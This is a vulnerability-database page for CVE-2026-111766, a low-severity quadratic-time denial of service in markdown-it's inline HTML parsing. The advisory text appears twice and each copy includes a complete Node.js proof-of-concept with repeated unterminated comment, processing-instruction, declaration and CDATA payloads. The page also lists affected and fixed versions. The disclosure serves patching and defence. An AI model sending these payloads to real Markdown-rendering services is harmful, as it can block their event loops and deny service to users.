CVE-2026-111766
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
3.7
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
CVE-2026-111766- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-104595
3.7
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
EUVD-2026-104595- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vfgh-jcmw-g37q
3.7
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
Summary
With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).
An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.
The issue was reported against the published [email protected] package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.
Details
src/rules_inline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.
With HTML enabled, src/rules_inline/html_inline.ts applies an anchored regular expression to the remaining input:
const match = state.src.slice(pos).match(HTML_TAG_RE)
The comment, processing instruction, declaration, and CDATA alternatives in src/common/html_re.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.
When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.
The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.
The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:
'</' + '<!--'.repeat(100000)
However, it runs with default options, where HTML is disabled.
A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.
The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.
Proof of concept
Install the affected package in an empty directory:
npm install [email protected]
Save the following as poc.mjs and run node poc.mjs:
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]
function measure(md, src) {
const start = performance.now()
md.render(src)
return (performance.now() - start).toFixed(1)
}
const variants = {
comment: '<!--',
processing: '<?x',
declaration: '<!A',
cdata: '<![CDATA['
}
for (const [name, opener] of Object.entries(variants)) {
console.log(`\n${name}`)
for (const n of sizes) {
const src = 'x ' + opener.repeat(n)
console.log({
n,
bytes: Buffer.byteLength(src),
ms: measure(mdHtml, src)
})
}
}
const n = sizes.at(-1)
const controls = {
'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
'HTML block': [mdHtml, '<!--'.repeat(n)],
'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}
for (const [name, [md, src]] of Object.entries(controls)) {
console.log({ control: name, ms: measure(md, src) })
}
const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
payload: 'Existing pathological test',
htmlFalseMs: measure(mdDefault, repoPayload),
htmlTrueMs: measure(mdHtml, repoPayload)
})
Measurements from the original report on…
- Record
GHSA-vfgh-jcmw-g37q- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
NVD
3.7
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
CVE-2026-111766- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
OSV
3.7
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
CVE-2026-111766- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-111766
3.7
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
DEBIAN-CVE-2026-111766- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
Show 14 moreShow less
OSVGHSA-vfgh-jcmw-g37q
3.7
markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
Summary
With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).
An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.
The issue was reported against the published [email protected] package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.
Details
src/rules_inline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.
With HTML enabled, src/rules_inline/html_inline.ts applies an anchored regular expression to the remaining input:
const match = state.src.slice(pos).match(HTML_TAG_RE)
The comment, processing instruction, declaration, and CDATA alternatives in src/common/html_re.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.
When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.
The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.
The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:
'</' + '<!--'.repeat(100000)
However, it runs with default options, where HTML is disabled.
A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.
The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.
Proof of concept
Install the affected package in an empty directory:
npm install [email protected]
Save the following as poc.mjs and run node poc.mjs:
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]
function measure(md, src) {
const start = performance.now()
md.render(src)
return (performance.now() - start).toFixed(1)
}
const variants = {
comment: '<!--',
processing: '<?x',
declaration: '<!A',
cdata: '<![CDATA['
}
for (const [name, opener] of Object.entries(variants)) {
console.log(`\n${name}`)
for (const n of sizes) {
const src = 'x ' + opener.repeat(n)
console.log({
n,
bytes: Buffer.byteLength(src),
ms: measure(mdHtml, src)
})
}
}
const n = sizes.at(-1)
const controls = {
'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
'HTML block': [mdHtml, '<!--'.repeat(n)],
'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}
for (const [name, [md, src]] of Object.entries(controls)) {
console.log({ control: name, ms: measure(md, src) })
}
const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
payload: 'Existing pathological test',
htmlFalseMs: measure(mdDefault, repoPayload),
htmlTrueMs: measure(mdHtml, repoPayload)
})
Measurements from the original report on…
- Record
GHSA-vfgh-jcmw-g37q- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-111766
3.7
markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.
- Record
UBUNTU-CVE-2026-111766- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
OSVCLSA-2026-1792574976 No score
TuxCare security update for markdown-it (2 CVEs)
TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 14.3.2-tuxcare.1.
- Record
CLSA-2026-1792574976- Updated
- 2026-11-02
OSVCLSA-2026-1793097495 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 14.3.0-tuxcare.4.
- Record
CLSA-2026-1793097495- Updated
- 2026-11-02
OSVCLSA-2026-1793097603 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 14.3.1-tuxcare.3.
- Record
CLSA-2026-1793097603- Updated
- 2026-11-02
OSVCLSA-2026-1793099982 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 12.3.0-tuxcare.4.
- Record
CLSA-2026-1793099982- Updated
- 2026-11-02
OSVCLSA-2026-1793100014 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 12.3.2-tuxcare.3.
- Record
CLSA-2026-1793100014- Updated
- 2026-11-02
OSVCLSA-2026-1793101322 No score
TuxCare security update for markdown-it (2 CVEs)
TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 4.0.3-tuxcare.4.
- Record
CLSA-2026-1793101322- Updated
- 2026-11-02
OSVCLSA-2026-1793125795 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 4.4.0-tuxcare.7.
- Record
CLSA-2026-1793125795- Updated
- 2026-11-02
OSVCLSA-2026-1793874791 No score
TuxCare security update for markdown-it (2 CVEs)
TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 8.4.2-tuxcare.4.
- Record
CLSA-2026-1793874791- Updated
- 2026-11-05
OSVCLSA-2026-1793874926 No score
TuxCare security update for markdown-it (2 CVEs)
TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 4.3.0-tuxcare.7.
- Record
CLSA-2026-1793874926- Updated
- 2026-11-05
OSVCLSA-2026-1793885957 No score
TuxCare security update for markdown-it (1 CVE)
TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 13.0.2-tuxcare.5.
- Record
CLSA-2026-1793885957- Updated
- 2026-11-06
OSVCLSA-2026-1794058822 No score
TuxCare security update for markdown-it (4 CVEs)
TuxCare rebuilt markdown-it to address 4 CVEs. Fixed in 14.2.0-tuxcare.1.
- Record
CLSA-2026-1794058822- Updated
- 2026-11-07
OSVCLSA-2026-1794059936 No score
TuxCare security update for markdown-it (5 CVEs)
TuxCare rebuilt markdown-it to address 5 CVEs. Fixed in 10.0.0-tuxcare.1.
- Record
CLSA-2026-1794059936- Updated
- 2026-11-07
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
markdown-itnpm |
before 14.3.3 | 14.3.3 |
markdown-itnpm |
15.0.0 up to 15.0.3 | 15.0.3 |
markdown-itTuxCare:npm From an advisory covering 2 CVEs |
14.3.2-tuxcare.0 up to 14.3.2-tuxcare.1, plus listed versions 14.3.2 |
14.3.2-tuxcare.1 |
markdown-itTuxCare:npm |
14.3.0-tuxcare.0 up to 14.3.0-tuxcare.4, plus listed versions 14.3.014.3.0-tuxcare.114.3.0-tuxcare.214.3.0-tuxcare.3 |
14.3.0-tuxcare.4 |
markdown-itTuxCare:npm |
14.3.1-tuxcare.0 up to 14.3.1-tuxcare.3, plus listed versions 14.3.114.3.1-tuxcare.114.3.1-tuxcare.2 |
14.3.1-tuxcare.3 |
markdown-itTuxCare:npm |
12.3.0-tuxcare.0 up to 12.3.0-tuxcare.4, plus listed versions 12.3.012.3.0-tuxcare.112.3.0-tuxcare.212.3.0-tuxcare.3 |
12.3.0-tuxcare.4 |
markdown-itTuxCare:npm |
12.3.2-tuxcare.0 up to 12.3.2-tuxcare.3, plus listed versions 12.3.212.3.2-tuxcare.112.3.2-tuxcare.2 |
12.3.2-tuxcare.3 |
markdown-itTuxCare:npm From an advisory covering 2 CVEs |
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions 4.0.34.0.3-tuxcare.14.0.3-tuxcare.24.0.3-tuxcare.3 |
4.0.3-tuxcare.4 |
markdown-itTuxCare:npm |
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.7, plus listed versions 4.4.04.4.0-tuxcare.14.4.0-tuxcare.24.4.0-tuxcare.34.4.0-tuxcare.44.4.0-tuxcare.54.4.0-tuxcare.6 |
4.4.0-tuxcare.7 |
markdown-itTuxCare:npm From an advisory covering 2 CVEs |
8.4.2-tuxcare.0 up to 8.4.2-tuxcare.4, plus listed versions 8.4.28.4.2-tuxcare.18.4.2-tuxcare.28.4.2-tuxcare.3 |
8.4.2-tuxcare.4 |
Show 11 moreShow less
| Package | Affected | Fixed |
|---|---|---|
markdown-itTuxCare:npm From an advisory covering 2 CVEs |
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.7, plus listed versions 4.3.04.3.0-tuxcare.14.3.0-tuxcare.24.3.0-tuxcare.34.3.0-tuxcare.44.3.0-tuxcare.54.3.0-tuxcare.6 |
4.3.0-tuxcare.7 |
markdown-itTuxCare:npm |
13.0.2-tuxcare.0 up to 13.0.2-tuxcare.5, plus listed versions 13.0.213.0.2-tuxcare.113.0.2-tuxcare.213.0.2-tuxcare.313.0.2-tuxcare.4 |
13.0.2-tuxcare.5 |
markdown-itTuxCare:npm From an advisory covering 3 CVEs |
14.2.0-tuxcare.0 up to 14.2.0-tuxcare.1, plus listed versions 14.2.0 |
14.2.0-tuxcare.1 |
markdown-itTuxCare:npm From an advisory covering 4 CVEs |
10.0.0-tuxcare.0 up to 10.0.0-tuxcare.1, plus listed versions 10.0.0 |
10.0.0-tuxcare.1 |
node-markdown-itDebian:12 |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5 |
None known |
node-markdown-itDebian:13 |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5 |
None known |
node-markdown-itDebian:14 |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5 |
None known |
node-markdown-itUbuntu:22.04:LTS |
All versions, plus listed versions 10.0.0+dfsg-210.0.0+dfsg-310.0.0+dfsg-3.110.0.0+dfsg-410.0.0+dfsg-510.0.0+dfsg-6 |
None known |
node-markdown-itUbuntu:24.04:LTS |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-2 |
None known |
node-markdown-itUbuntu:26.10 |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5 |
None known |
node-markdown-itUbuntu:26.04:LTS |
All versions, plus listed versions 22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-4 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | OSV | |
| affected, aliases | OSV | |
| affected | ||
| affected, aliases, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-111766 is a low vulnerability (CVSS 3.7) in Markdown-it, published October 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in markdown-it 14.3.3.
References
github.com/markdown-it/markdown-it/security/advisories/GHSA-vfgh-jcmw-g37q
github.com/markdown-it/markdown-it/commit/928bc8c11ded60181c0e7fc5aa954eec582e8e79
github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503
github.com/markdown-it/markdown-it/releases/tag/14.3.3
github.com/markdown-it/markdown-it/releases/tag/15.0.3
nvd.nist.gov/vuln/detail/CVE-2026-111766
Left out here: the rest of 2 source descriptions. The JSON record has them.